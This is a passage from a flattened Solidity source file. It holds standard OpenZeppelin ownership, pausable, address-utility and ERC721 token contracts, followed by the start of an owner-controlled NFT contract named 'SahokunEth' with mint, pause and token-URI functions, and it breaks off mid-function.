@dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/security/Pausable.sol // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Burnable.sol) pragma solidity ^0.8.0; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol) pragma solidity ^0.8.0; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: sahoe.sol pragma solidity ^0.8.4; contract SahokunEth is ERC721, ERC721Enumerable, ERC721URIStorage, Pausable, Ownable, ERC721Burnable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor() ERC721("sahokun.eth V2", "SAHOEV2") {} function _baseURI() internal pure override returns (string memory) { return ""; } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function safeMint(address to, string memory uri) public onlyOwner { uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(to, tokenId); _setTokenURI(tokenId, uri); } function setTokenURI(uint256 tokenId, string memory uri) public onlyOwner { 